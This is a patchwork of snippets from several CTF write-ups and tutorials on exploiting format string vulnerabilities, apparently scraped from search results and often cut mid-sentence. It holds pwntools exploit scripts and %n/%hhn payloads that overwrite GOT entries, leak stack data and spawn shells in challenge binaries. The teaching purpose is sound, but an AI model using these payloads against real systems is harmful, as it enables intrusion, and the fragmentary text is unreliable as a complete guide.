July 14, 2020 - >>> from pwn import * >>> ELF('exploitme') [*] '/home/yvan/tmp/defense/exploitme' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ... Full RELRO: RELRO is for Relocation Read-Only. Linux uses ELF binary format. In this binary, functions called by the program from dependent libraries (like printf from libc) are dynamically resolved.

October 13, 2025 - Stack access syntax can be used by using numbered format parameters to control which stack slot you read from. %1$p - Print first stack pointer as an address %7$s - Interpret 7th stack value as a string

The corresponding binary file is not given to let us perform pwn. In fact, this is similar to BROP, but BROP uses stack overflow, and here We are using a format string vulnerability. In general, we follow the steps below ... Since I didn't find the source code after the game, I simply constructed two questions. Both the source and deployment files are placed in the corresponding folder [fmt_blind_stack] (https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/blind_fmt_stack).

The challenger basically had to exploit a one-shot format string in one of its hardest form. ... $ file formatage formatage: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/n7student/Documents/CTF/FCSC2022/pwn/formatage/lib/ld-2.34.so, BuildID[sha1]=39a11f9a8688c39d7943b084fb7a6f81617573b9, for GNU/Linux 3.2.0, stripped $ checksec ./formatage [*] '/home/n7student/Documents/CTF/FCSC2022/pwn/formatage/formatage' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

from pwn import * e = context.binary = ELF('chal_patched') send_choice = lambda c: p.sendlineafter(b"2. call\n", str(c).encode()) def printf(fmt): send_choice(1) p.sendline(fmt.encode()) p.recvuntil(b"Here: ") return p.recvuntil(b"1.

March 19, 2021 - The idea is the following: we can use the format string vulnerability to write and execute a ropchain. Having this in mind, it's relatively simple to exploit the vulnerability. ```python #!/usr/bin/env python3 · from pwn import * HOST = "challenges.ctfd.io" PORT = 30042 ·

CTF events / n00bzCTF 2023 / Tasks / Strings / Writeup · by sunbather / .hidden · Tags: format-string pwn · Rating: ## Description of the challenge · I love Strings! Do you? Let me know! Author: NoobMaster · ## Solution · Decompiling the binary - we can first see a clear format string vulnerability.

The format string consists of text and placeholders for values that will be inserted into the string at runtime. Placeholders are represented by a percent sign (%), followed by a conversion specifier that specifies the type of value being inserted ...

Format string bugs can be tricky. Because the pointer in the jump slot usually points into libc, we'll need to overwrite all 4 bytes - no getting away with a partial overwrite. We'll also need to do some stack popping. We can do that by entering a recognizable string ("AAAA"), then use the `%x` specifier to look for the hex values for that string on the stack. ``` $ python -c 'print "AAAA" + "x."*10' | ./pwn4 Do you swear to use this shell with responsility by the old gods and the new?

June 11, 2020 - from pwn import * exit_got = 0x0804c018 get_shell = 0x080491F6 r = process("./chall") gdb.attach(r) p = "AAAA" p += p32(exit_got) p += p32(exit_got+1) p += "%{}c%7$hhn".format((0xf6 - 12) & 0xff) p += "%{}c%8$hhn".format((0x91 - 0xf6) & 0xff) r.sendline(p) r.interactive()

May 14, 2020 - As we look at this code we can immediately spot the vulnerability which is the sprintf, sprintf acts like gets and copies everything from string into the buffer. So all we have to do is overflow the buffer and overwrite target as 0xdeadbeef. user@prototar:/opt/prototar/bin$ ./format0 "`python -c "print 'A'*64 + '\xef\xbe\xad\xde'"`" you have hit the target correctly :)

A possible format string, for a given libc base address: ``` &739c%1$nF557c%8$hn894c%9$hn!044c$hn2838c$hn ``` We managed to get the shell, and the flag, with this exploit. Here is the script. # Script ``` from pwn import ELF, process, remote, context, p64, u64

May 1, 2019 - If it was static declared string, it would not be possible, due to being a Read-Only memory address space. But as we observed from before, it is heap memory, so it globally writeable memory, so it is possible to corrupt as well! It is exactly the same methodology as we have done to bypass strcmp() call, so I will not replay everything I told in the last topic, instead, I will show how the code changes have gone to achieve this objective: #!/usr/bin/env python from pwn import * from time import sleep def get_pointer_addr(process): return int(process.recvuntil("\n").strip("\n"), 16) p = process(

CTF events / redpwnCTF 2019 / Tasks / Black Echo / Writeup · by bytevsbyte / beerpwn · Rating: 5.0 · # WRITEUP BLACK ECHO (blind format string) ## __Author:__ bytevsbyte @ beerpwn team ·

Now that we have all the addresses we need, it’s time to construct our format string payload. We’ll kindly make use of the p = &p instruction that’s available at address 0x7fffffffe3b0 (5th stack position) that’s referencing itself to point to 0x7fffffffe308 (2nd stack position).

payload = f'%{23}$lx \x40\x41\x40'.encode() > b'a40414020786c24 @A@\n\n### Goodbye!' payload = f'%{23}$lx \x40\x41\x40\x00'.encode() > b'40414020786c24 @A@\n### Goodbye!' payload = f'%{24}$lx AAAA\x40\x41\x40\x00'.encode() > b'a00404140 AAAA@A@\n### Goodbye!' payload = f'%{24}$lx AAAA\x40\x41\x40\x00\x00\x00\x00\x00'.encode() > b'404140 AAAA@A@\n### Goodbye!' payload = f'%{24}$x AAAAA\x40\x41\x40\x00\x00\x00\x00\x00'.encode() > b'404140 AAAAA@A@\n### Goodbye!' payload = f'%{24}$s AAAAA\x40\x41\x40\x00\x00\x00\x00\x00'.encode() > b'pwn.college{xxxxxxxxxxxxxxxxxxxxxxxx}\n AAAAA@A@\n### Goodbye!'

A format string vulnerability is a bug where user input is passed as the format argument to printf, scanf, or another function in that family · The format argument has many different specifiers which could allow an attacker to leak data if they control the format argument to printf.

The program will still run, parsing the three variables above the formatted string address on the stack into ... For 2, 3, it doesn't matter, but for 1, if an inaccessible address, such as 0, is provided, the program will crash. This is basically the basic principle of formatting string ...

This will give us infinite number of format string attack chances 3. Forge the `rbp` of the main function to the address of `wish`, then we get a forged stack and can perform ROP on the forged stack ### Background on format string: Overwrite bytes with `%n` In format string, `printf("%k$p")` prints the k-th argument. And `printf("%n", ptr)` writes the number of characters printted to the address of pointer `ptr` (write 4 bytes). The working principle and more parameter introductions are at [ctf-wiki](https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/).

Our printf call will look like that: printf("formatstring/input", &level_firsthalf, &level_secondhalf);. ... $ python -c 'print "\x4c\xa0\x04\x08\x4e\xa0\x04\x08%.4911u%7$hn%.47500u%8$hn"' > in gdb-peda$ r < in Starting program: /home/vbox/pwn/tasks/camp-hackercalc/hacker_level < in What's your name?